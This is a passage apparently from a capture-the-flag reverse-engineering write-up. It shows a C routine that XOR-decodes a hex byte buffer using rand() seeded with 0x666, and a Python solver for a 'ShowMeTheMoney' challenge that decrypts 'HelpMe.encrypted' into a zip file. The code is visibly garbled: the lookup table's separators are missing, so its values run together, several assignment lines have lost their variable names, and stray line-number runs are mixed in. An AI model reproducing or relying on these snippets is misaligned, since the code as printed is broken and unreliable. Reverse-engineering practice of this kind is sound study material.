\x08\xC0\x7C\xB4\x15\xCB\xE7\x13\x9C\xFB\x3D\xF1\x2B\x7D\x5A\x64\x2F\x6D\xA9\xFA\x50\xE0\x80\x01\x59\xF9\x85\x98\x93\xB4\x62\x01\x41\x3E\x1D\x9B\x89\x92\xE5\x29\xEF\xE7\xE3\xFA\x5D\x55\xB3\x2E\x4F\x79\xE3\x21\xC8\x09\xDD\x8E\x88\xE6\x57\xEA\x0E\x1B\x43\x74\x8E\x88\x63\xAD\x92\xAA\xCE\x71\x67\xAB\x2B\x1F\x8D\x41\x86\x45\xE7\x6D\xEF\xE2\x61\xF8\x9E\x43\x15\x01\x5F\x37\x10\xD4\xB2\x81\xE2\x68\x0D\x45\x1C\x16\x8C\xB3\xF4\xE7\x13\x98\x85\xD2\x78\x7C\xA7\x76\xDE\x19\x70\xA2\x53\x67\x64\x90\x9C\x27\x66\x92\x75\xB8\xDD\x1C\x05\xC6\x18\x69\x1A\xA6\x9C\x02\x99\x80\xBA\xD3\x9C\xD8\xBC\xF1\x32\x02\x30\x69\x4C\x32\x37\x90\x09\xA2\x27\xCC\x67\x22\xDC\x7A\xAC\x1F\x03\x14\x0A\xDE\x1A\x30\xD9\x05\x85\x03\xE0\x58\xD6\x09\x9F\x1C\xD2\xFD\x31\xA9\x33\xD7\xCA\x15\x3F\xCA\xDE\x59\x86\xD0\x9E\xB8\xD6\x04\x31\xAD\x61\x15\xEB\x22\x7D\x9B\xA8\x52\xD1\x8F\x3F\x0E\xE0\x45\x17\x94\xFE\xC0\xF3\x3B\xF4\x7F\xC1\x9A\x8F\x85\xAA\xAF\xDA\xCE\xED\x47\x84\xE0\x00\x9A\x19\x81\x9D\x30\x58\xC3\xE9\x4D\x69\xAD\x5D\x44\x23\xD7\x96\x3F\x60\x6C\x67\xBA\xBA\x2B\x14\x54\x87\xA3\xF8\x69\x08\xAB\x56\x73\xFF\x2B\xEF\x4A\xCA\x23\xB9\x84\x54\x45\x5D\xAA\x85\x6C\xD1\xB9\x30\x23\x13\x7C\xE8\xBB\xD4\x8E\x95\x3D\xC0\x31\x39\x16\x67\xCE\x1F\xD8\xA4\xE1\x46\x98\x30\xF0\x51\x67\xC7\xDF\x4D\x4D\x66\x20\xDF\xED\xE5\x10\x99\xB1\x13\x18\xBD\x76\x6F\xD2\xB8\x43\xD9\x40\x82\x3F\x5C\xE1\xCA\x0D\x05\x54\x31\x33\x3A\xF2\x19\x32\x83\x83\x43\x55\x10\xC2\x54\x43\x02\x3D\x23\x50\xBD\xFF\xFE\x23\x24\x1D\xE2\xC5\x4F\xED\x01\x14\xDA\x4E\x0F\x8A\xB0\x69\x10\x09\x7A\xF3\xC9\xA8\x8B\xAB\x4E\x76\x66\x5E\x67\xC3\x35\xB4\x98\x1A\x51\x63\x00\xF7\xED\x30\x76\x48\x6B\x22\x69\xA9\x6D\xB1\xCC\xC2\x6E\x98\x92\xDC\x9E\x32\xE2\xC2\x42\x08\x2A\xDE\x31\x9F\x00\x23\xF4\x7E\x75\xE4\xBA\x3A\x86\x3B\xE8\x33\x29\x9C\xF0\x94\x62\xF1\xE3\xA8\x35\xFC\x0C\x9F\x98\x1A\x88\x02\x08\x11\xE4\xC4\xF0\x7A\x8B\x6A\xDC\xAD\x1B\x41\x5E\x77\x4A\xD6\x72\x29\x33\x52\x38\xAE\xC6\x63\x98\xC4\x07\x7E\x65\x29\xCC\xED\xBD\x04\x28\xBE\xA0\x72\x45\x8D\x15\x15\x8F\x48\x9B\x46\xEC\x66\x33\x2C\xE1\xA5\xB0\xD6\xD0\x15\xD9\xCA\x2F\xCF\xC7\x76\x0F\xD8\x00\xBE\xAA\xCA\x88\xAE\x13\xF6\x43\xAB\xCD\x0A\x2C\xD2\xCD\x7E\x2A\x85\x4C\x32\x76\xD9\x2C\xE0\x6E\x0E\xC3\xE4\x28\xCD\xA4\x65\xAE\x20\x30\x22\x04\xFA\x99\x75\xA3\x05\x53\x6B\x13\x79\xDD\x3E\x80\x6F\xE1\xB4\x5C\x05\x49\x26\x46\xAA\x8B\xCF\x8E\x54\x11\x1D\x12\x57\x8B\x04\x75\xED\xF9\xC3\x31\xD3\x75\x73\x98\x73\xDA\x6A\xB1\xF4\x15\xCB\x86\xA9\x84\xF8\xBC\x3F\xC5\xDC\xBA\xA6\xAC\x10\x92\x1B\xC5\x40\xA1\x26\x73\x6B\xF1\x46\x08\x41\x2B\xAF\xA4\xEB\x10\x43\xDC\x3E\x4E\xF6\xEF\x8E\x7E\x78\x08\xE8\x8C\xBB\x3A\xB0\x75\x16\x4A\x66\x80\xF8\xE8\x5F\xC0\xF5\x64\xDE\x7C\xCA\xF9\x9F\xE5\x8C\x65\x97\x00\x10\x60\x91\x3C\x2A\xAE\xD6\xC3\x0B\x10\x67\x4D\x22\xFB\x7E\x70\x4E\xF9\xC2\xA4\xAF\x59\xC8\x20\x22\xAF\xC1\x21\x80\x80\x72\x06\x9A\x88\xAC\x1C\x1C\xC0\x64\x8F\xEE\x86\x2A\x58\x7C\x8D\xDF\xF0\x0A\xBC\xE3\x5A\x75\x03\xBF\xB9\x05\x01\xC3\x54\x74\x44\xF9\x16\x4F\x53\x8F\x44\x49\x06\x7B\x17\xB2\x7B\xA4\x2F\x9C\x61\x36\xBA\x5F\x7E\x7E\xD7\x62\xAF\x4F\xB8\x36\x39\x4C\x0B\x57\xAE\x39\xF8\xBE\x16\xC7\x74\x63\x88\x32\xA2\x27\x73\xA6\xAC\x38\x0D\x88\xAC\x40\x0A\xDF\xA3\xC2\x0F\x36\xED\x03\x64\x65\x66\x16\xD0\x47\xA0\xA7\xB6\x43\x20\xD7\x86\x8E\x53\x8C\x9F\x6A\x69\x0B\x06\xF1\xCD\x32\x61\x79\xEC\xE9\x00\x5F\x30\xEE\x98\x6F\x95\xB3\xCB\x07\x08\x99\x38\x7C\xFD\xC0\x87\xC5\xED\xF1\x35\x0F\x46\x5F\x61\x21\x2C\x06\x5B\xE9\x7A\x83\x9D\x8F\xB9\xC5\x72\xB1\x36\x19\x3A\xB8\xD1\xD7\x7C\x8F\x3E\x67\x21\xCC\x64\x11\x3B\x42\xBC\x45\x55\x40\x7F\xCC\x66\xD8\x08\xEE\xDD\xF8\xF5\xEB\xB7\xF1\x43\x5E\xF5\x65\xB5\x5D\xCC\xD1\x47\x9D\x1B\xCD\xA4\x49\x63\xC6\x92\x6D\xEB\x8F\x45\xB5\xF0\x6A\x0A\xBA\x3D\x3F\xF9\x4F\x88\x69\x3A\x17\xE6\x21\x1D\x6A\xAC\x1F\x5D\xA5\x27\xED\x01\xA3\x66\x63\x9A\xAD\xB8\x4A\x3B\x17\x0E\xD4\xA7\x71\xEE\xD1\xC9\x32\xE6\x95\x4B\x6E\x71\x4A\xB8\x21\x11\x76\x83\xA5\x38";
 
void main()
{
    srand(0x666);
    for (int i = 0; i < sizeof(buf); i++)
        buf[i] ^= rand() % 255;
    printf("%s", buf);
}
cs


ShowMeTheMoney

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import struct
def rol(data, shift, size=8):
    shift %= size
    remains = data >> (size - shift)
    body = (data << shift) - (remains << size )
    return (body + remains)
 
#decrypt 1
table = [0x00x10x47270x25a30x619e0x146d0x4acc0x21120x11f00x8450x47240x2ebd0x3ce40x589c0x3eba0x46510x13b60x8d0x33420x62000x68770x47e20x507b0x175a0x6cf00x44ca0x43a00x24ca0x403a0x470b0x480a0x3df30x303d0x148f0x89e0x5fa30x9ca0x28220x33450x46aa0x378b0x212c0x4aac0x59b0x2c590x3da90x32830x5aca0xc3e0x4c290x9dd0x13770x41de0x1dcf0x38110x4c930x44f20x41c0x58180xf830x38ce0x27170x4690x3f1d0x55330x25aa0x42f80x3fde0x69220x3d380x49ab0x3f680x51480x39990x303a0x6a1e0x2f10x13120xfc30x28510x4c0d0x66870x28190x3ec10x61370x10130x668b0xc570x2d6c0xc430x1a730x1d820x4e950x4b530x5a30xd4c0x2b1a0x44040x6cc80x1c230x1320x3de0x51e30x8c70x65a50x236e0x16a20x1f050x1b360x16400x326b0x2cec0x66260x69620x3ad30x38860x26770x6ac20x5320x24840x246b0x5a3d0x6ae80x3b110x1df00x329b0x3a8f0x30270x4d8d0x220b0x161a0x3f300x8ba0x8c0x15eb0x2c040x69d60x30d0x1b5b0x3e570x605a0x20db0x6bac0x69040x5a780x31fb0x32630x4e580x5c0c0x1d990x51650x5d320x2bad0x407b0x37670x54930x2ab30x3ebc0x57d10x26a40x63420x51060xcbb0xe020x44c50x665a0xb880x58110x45740x413f0x6f70x31230x4d090x55260x3b790x66ea0x5330x58d50x44680x2f170x4c520x2b9e0x33850x13c80x34250xe430x53340x5b1c0xad90x37870x57ba0x37500x27350x3d370x15330x336c0x1e1c0x45be0x51a10x50770x489b0x315c0x35790x11fa0x67d90x4bf20x30440x57020xe8b0x6c740x4f540x3f70x429c0xe520x31640xa790x47d50x1ac70x21470x5e90x17360x2eb50x28580x3de60x328d0x50c0x21300x355d0x1f4c0x38c80x5a9c0x85a0x44390x1d190x4a3b0x598f0xbc10x33690x20420x1bc60xfe30x180a0x6b2c0x4bd0x18360x28bc0x24a60x2f8d0x39760x7ac0x17cd0x4d420x27a40x371a0x3dfb0xe7]
 
= ''
= open('rev_77ca4701/HelpMe.encrypted','rb').read()
for i in range(0,len(s),4):
    o += chr(table.index(struct.unpack('<l',s[i:i+4])[0]))
 
#decrypt 2
= o
= '' 
for c in s:
    b = rol(ord(c),2) ^ 0x21
    b = ~b & 0xFF
    o += chr(b)
 
open('HelpMe.zip','wb').write(o)
cs


ShowMeTheMoney.idb